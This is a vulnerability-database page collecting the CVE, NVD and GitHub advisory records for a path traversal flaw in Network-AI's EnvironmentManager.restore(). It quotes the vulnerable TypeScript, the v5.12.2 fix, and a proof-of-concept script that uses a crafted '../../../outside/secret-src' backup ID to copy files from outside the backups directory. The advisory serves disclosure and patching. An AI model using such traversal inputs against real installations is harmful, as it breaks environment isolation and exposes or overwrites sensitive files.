Vulnerability-Lookup

CVE-2026-58413 (GCVE-0-2026-58413)

Vulnerability from cvelistv5 – Published: 2026-07-20 16:26 – Updated: 2026-07-20 17:20

Title

EnvironmentManager.restore() backup ID path traversal copies arbitrary directories into environment data

Summary

Network-AI is a TypeScript/Node.js multi-agent orchestrator. Prior to version 5.12.2, `EnvironmentManager.restore(env, backupId)` computes the backup path with `join(envDir, '.backups', backupId)` and only checks that this path exists. It does not resolve the result or verify that it remains under `data/<env>/.backups`. A caller can pass a traversal backup ID such as `../../../outside/source-dir` to restore files from an arbitrary directory into the target environment data directory. The issue is fixed in v5.12.2. `restore()` now validates `backupId` against `/^[\w\-]+$/` and asserts `dirname(resolve(join(backupsDir, backupId))) === resolve(backupsDir)` before touching the filesystem. Backup IDs containing path separators or `..` are rejected, so a crafted ID can no longer copy directories from outside `.backups/` into the environment.

Severity

6.1 (Medium)


                        
                          CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:L/A:N

SSVC

Exploitation: poc Automatable: no Technical Impact: partial

CISA Coordinator · CISA-ADP (v2.0.3)

Decision recorded 2026-07-20 17:20 UTC

CWE

CWE-22 - Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')
CWE-23 - Relative Path Traversal

Assigner

GitHub_M CNA under the mitre root

CNA scorecard C 72/100 over 7838 records in the last 180 days details

References

3 references

URL	Tags
https://github.com/Jovancoding/Network-AI/securit…	x_refsource_CONFIRM
https://github.com/Jovancoding/Network-AI/commit/…	x_refsource_MISC
https://github.com/Jovancoding/Network-AI/release…	x_refsource_MISC

Impacted products

1 product

Vendor	Product	Version	CPE status
Jovancoding	Network-AI	Affected: < 5.12.2	guessed

Show details on NVD website

JSON

To clipboard

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FKIE_CVE-2026-58413

Vulnerability from fkie_nvd - Published: 2026-07-20 17:18 - Updated: 2026-10-24 20:10

Severity

6.1 (Medium) - CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:L/A:N

Summary

References

URL	Tags
security-advisories@github.com	https://github.com/Jovancoding/Network-AI/commit/a59c13a1f0ce0e8a0779a90343eef92fac5ab4c3	Patch
security-advisories@github.com	https://github.com/Jovancoding/Network-AI/releases/tag/v5.12.2	Patch, Release Notes
security-advisories@github.com	https://github.com/Jovancoding/Network-AI/security/advisories/GHSA-48x2-6pr9-2jjf	Exploit, Patch, Vendor Advisory
134c704f-9b21-4f2e-91b3-4a467353bcc0	https://github.com/Jovancoding/Network-AI/security/advisories/GHSA-48x2-6pr9-2jjf	Exploit, Patch, Vendor Advisory

Impacted products

	Vendor	Product	Version
	network-ai	network-ai	*

JSON

To clipboard

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              "technicalImpact": "partial"
            }
          ],
          "role": "CISA Coordinator",
          "timestamp": "2026-07-20T17:20:42.994903Z",
          "version": "2.0.3"
        }
      }
    ]
  },
  "published": "2026-07-20T17:18:15.570",
  "references": [
    {
      "source": "security-advisories@github.com",
      "tags": [
        "Patch"
      ],
      "url": "https://github.com/Jovancoding/Network-AI/commit/a59c13a1f0ce0e8a0779a90343eef92fac5ab4c3"
    },
    {
      "source": "security-advisories@github.com",
      "tags": [
        "Patch",
        "Release Notes"
      ],
      "url": "https://github.com/Jovancoding/Network-AI/releases/tag/v5.12.2"
    },
    {
      "source": "security-advisories@github.com",
      "tags": [
        "Exploit",
        "Patch",
        "Vendor Advisory"
      ],
      "url": "https://github.com/Jovancoding/Network-AI/security/advisories/GHSA-48x2-6pr9-2jjf"
    },
    {
      "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
      "tags": [
        "Exploit",
        "Patch",
        "Vendor Advisory"
      ],
      "url": "https://github.com/Jovancoding/Network-AI/security/advisories/GHSA-48x2-6pr9-2jjf"
    }
  ],
  "sourceIdentifier": "security-advisories@github.com",
  "vulnStatus": "Analyzed",
  "weaknesses": [
    {
      "description": [
        {
          "lang": "en",
          "value": "CWE-22"
        },
        {
          "lang": "en",
          "value": "CWE-23"
        }
      ],
      "source": "security-advisories@github.com",
      "type": "Secondary"
    }
  ]
}

GHSA-48X2-6PR9-2JJF

Vulnerability from github – Published: 2026-06-19 21:42 – Updated: 2026-06-19 21:42

Summary

Network-AI: EnvironmentManager.restore() backup ID path traversal copies arbitrary directories into environment data

Details

Summary

EnvironmentManager.restore(env, backupId) computes the backup path with join(envDir, '.backups', backupId) and only checks that this path exists. It does not resolve the result or verify that it remains under data/<env>/.backups.

A caller can pass a traversal backup ID such as ../../../outside/source-dir to restore files from an arbitrary directory into the target environment data directory. Confirmed in Network-AI 5.12.1.

Details

restore() builds backupPath directly from caller-controlled backupId:

restore(env: EnvName, backupId: string): RestoreResult {
  const envDir = this.getDataDir(env);
  const backupsDir = join(envDir, '.backups');
  const backupPath = join(backupsDir, backupId);

  if (!existsSync(backupPath)) {
    throw new Error(`Backup '${backupId}' not found for environment '${env}'`);
  }

  this.backup(env);

  const files = this._collectBackupFiles(backupPath);
  let restored = 0;
  for (const rel of files) {
    if (rel === '_manifest.json') continue;
    const src = join(backupPath, rel);
    const dst = join(envDir, rel);
    try {
      mkdirSync(join(envDir, rel.includes('/') ? rel.substring(0, rel.lastIndexOf('/')) : '.'), { recursive: true });
      copyFileSync(src, dst);
      restored++;
    } catch { /* skip */ }
  }

  return { backupId, env, filesRestored: restored };
}

There is no resolved containment check that ensures backupPath remains under backupsDir.

Default CLI reachability exists through network-ai env backup restore --env <env> --backup <id>.

Affected source evidence:

lib/env-manager.ts:474-499 — vulnerable restore path construction and copy.
bin/cli.ts:441-458 — default CLI exposes restore with caller-controlled --backup.

PoC

This PoC uses only temporary directories and restores trust_levels.json from an external directory into data/dev:

TMP=$(mktemp -d)
TMPBASE="$TMP" node -r ts-node/register/transpile-only - <<'TS'
const { EnvironmentManager } = require('./lib/env-manager');
const fs = require('fs');
const path = require('path');
const base = process.env.TMPBASE;
const data = path.join(base, 'data');
const source = path.join(base, 'outside', 'secret-src');

fs.mkdirSync(source, { recursive: true });
fs.writeFileSync(path.join(source, 'trust_levels.json'), '{"leaked":true}');

const mgr = new EnvironmentManager(data, {
  chain: ['dev', 'st'],
  gates: { dev: 'auto', st: 'auto' },
});

mgr.init('dev');
const backupId = path.relative(path.join(data, 'dev', '.backups'), source);
const result = mgr.restore('dev', backupId);
const restored = fs.readFileSync(path.join(data, 'dev', 'trust_levels.json'), 'utf8');

console.log(JSON.stringify({ backupId, filesRestored: result.filesRestored, restored }, null, 2));
fs.rmSync(base, { recursive: true, force: true });
TS

Observed result includes backupId: "../../../outside/secret-src", filesRestored: 1, and restored content {"leaked":true}.

Impact

A caller that can invoke backup restore can copy arbitrary readable directories into data/<env>, subject to process filesystem permissions. This can stage sensitive files into environment data/backup locations, overwrite environment configuration files if matching filenames exist, and break environment isolation. No RCE chain was confirmed.

Resolution (maintainer)

Fixed in v5.12.2 (commit a59c13a). Install: npm install network-ai@5.12.2 — published to npm with provenance.

restore() now validates backupId against /^[\w\-]+$/ and asserts dirname(resolve(join(backupsDir, backupId))) === resolve(backupsDir) before touching the filesystem. Backup IDs containing path separators or .. are rejected, so a crafted ID can no longer copy directories from outside .backups/ into the environment.

All 3,269 tests pass against the patched build. Thanks to @sondt99 for the responsible disclosure.

Severity

6.1 (Medium)


                  
                    CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:L/A:N

Show details on source website

JSON

To clipboard

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 5.12.1"
      },
      "package": {
        "ecosystem": "npm",
        "name": "network-ai"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "5.12.2"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [],
  "database_specific": {
    "cwe_ids": [
      "CWE-22",
      "CWE-23"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-06-19T21:42:38Z",
    "nvd_published_at": null,
    "severity": "MODERATE"
  },
  "details": "### Summary\n`EnvironmentManager.restore(env, backupId)` computes the backup path with `join(envDir, \u0027.backups\u0027, backupId)` and only checks that this path exists. It does not resolve the result or verify that it remains under `data/\u003cenv\u003e/.backups`.\n\nA caller can pass a traversal backup ID such as `../../../outside/source-dir` to restore files from an arbitrary directory into the target environment data directory. Confirmed in Network-AI 5.12.1.\n\n### Details\n`restore()` builds `backupPath` directly from caller-controlled `backupId`:\n\n```ts\nrestore(env: EnvName, backupId: string): RestoreResult {\n  const envDir = this.getDataDir(env);\n  const backupsDir = join(envDir, \u0027.backups\u0027);\n  const backupPath = join(backupsDir, backupId);\n\n  if (!existsSync(backupPath)) {\n    throw new Error(`Backup \u0027${backupId}\u0027 not found for environment \u0027${env}\u0027`);\n  }\n\n  this.backup(env);\n\n  const files = this._collectBackupFiles(backupPath);\n  let restored = 0;\n  for (const rel of files) {\n    if (rel === \u0027_manifest.json\u0027) continue;\n    const src = join(backupPath, rel);\n    const dst = join(envDir, rel);\n    try {\n      mkdirSync(join(envDir, rel.includes(\u0027/\u0027) ? rel.substring(0, rel.lastIndexOf(\u0027/\u0027)) : \u0027.\u0027), { recursive: true });\n      copyFileSync(src, dst);\n      restored++;\n    } catch { /* skip */ }\n  }\n\n  return { backupId, env, filesRestored: restored };\n}\n```\n\nThere is no resolved containment check that ensures `backupPath` remains under `backupsDir`.\n\nDefault CLI reachability exists through `network-ai env backup restore --env \u003cenv\u003e --backup \u003cid\u003e`.\n\nAffected source evidence:\n\n- `lib/env-manager.ts:474-499` \u2014 vulnerable restore path construction and copy.\n- `bin/cli.ts:441-458` \u2014 default CLI exposes restore with caller-controlled `--backup`.\n\n### PoC\nThis PoC uses only temporary directories and restores `trust_levels.json` from an external directory into `data/dev`:\n\n```bash\nTMP=$(mktemp -d)\nTMPBASE=\"$TMP\" node -r ts-node/register/transpile-only - \u003c\u003c\u0027TS\u0027\nconst { EnvironmentManager } = require(\u0027./lib/env-manager\u0027);\nconst fs = require(\u0027fs\u0027);\nconst path = require(\u0027path\u0027);\nconst base = process.env.TMPBASE;\nconst data = path.join(base, \u0027data\u0027);\nconst source = path.join(base, \u0027outside\u0027, \u0027secret-src\u0027);\n\nfs.mkdirSync(source, { recursive: true });\nfs.writeFileSync(path.join(source, \u0027trust_levels.json\u0027), \u0027{\"leaked\":true}\u0027);\n\nconst mgr = new EnvironmentManager(data, {\n  chain: [\u0027dev\u0027, \u0027st\u0027],\n  gates: { dev: \u0027auto\u0027, st: \u0027auto\u0027 },\n});\n\nmgr.init(\u0027dev\u0027);\nconst backupId = path.relative(path.join(data, \u0027dev\u0027, \u0027.backups\u0027), source);\nconst result = mgr.restore(\u0027dev\u0027, backupId);\nconst restored = fs.readFileSync(path.join(data, \u0027dev\u0027, \u0027trust_levels.json\u0027), \u0027utf8\u0027);\n\nconsole.log(JSON.stringify({ backupId, filesRestored: result.filesRestored, restored }, null, 2));\nfs.rmSync(base, { recursive: true, force: true });\nTS\n```\n\nObserved result includes `backupId: \"../../../outside/secret-src\"`, `filesRestored: 1`, and restored content `{\"leaked\":true}`.\n\n### Impact\nA caller that can invoke backup restore can copy arbitrary readable directories into `data/\u003cenv\u003e`, subject to process filesystem permissions. This can stage sensitive files into environment data/backup locations, overwrite environment configuration files if matching filenames exist, and break environment isolation. No RCE chain was confirmed.\n\n\n---\n\n### Resolution (maintainer)\n\n**Fixed in [v5.12.2](https://github.com/Jovancoding/Network-AI/releases/tag/v5.12.2) (commit `a59c13a`).** Install: `npm install network-ai@5.12.2` \u2014 published to npm with provenance.\n\n`restore()` now validates `backupId` against `/^[\\w\\-]+$/` and asserts `dirname(resolve(join(backupsDir, backupId))) === resolve(backupsDir)` before touching the filesystem. Backup IDs containing path separators or `..` are rejected, so a crafted ID can no longer copy directories from outside `.backups/` into the environment.\n\nAll 3,269 tests pass against the patched build. Thanks to @sondt99 for the responsible disclosure.",
  "id": "GHSA-48x2-6pr9-2jjf",
  "modified": "2026-06-19T21:42:38Z",
  "published": "2026-06-19T21:42:38Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/Jovancoding/Network-AI/security/advisories/GHSA-48x2-6pr9-2jjf"
    },
    {
      "type": "WEB",
      "url": "https://github.com/Jovancoding/Network-AI/commit/a59c13a1f0ce0e8a0779a90343eef92fac5ab4c3"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/Jovancoding/Network-AI"
    },
    {
      "type": "WEB",
      "url": "https://github.com/Jovancoding/Network-AI/releases/tag/v5.12.2"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:L/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Network-AI: EnvironmentManager.restore() backup ID path traversal copies arbitrary directories into environment data"
}

Sightings

Author	Source	Type	Date	Other

Nomenclature

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Confirmed: The vulnerability has been validated from an analyst's perspective.
Published Proof of Concept: A public proof of concept is available for this vulnerability.
Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
Not confirmed: The user expressed doubt about the validity of the vulnerability.
Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.

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The MITRE ATT&CK techniques below are AI-generated suggestions, inferred from the description of the vulnerability by the CIRCL/vulnerability-attack-technique-classification-roberta-base model, served locally by ML-Gateway. They have not been verified by an analyst and are provided for guidance only.
The approach is described in our paper Mapping CVEs to MITRE ATT&CK Techniques: A Curated Gold-Set Classifier and the Limits of LLM-Assisted Label Expansion.
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CVE-2026-58413 (GCVE-0-2026-58413)

FKIE_CVE-2026-58413

GHSA-48X2-6PR9-2JJF

Summary

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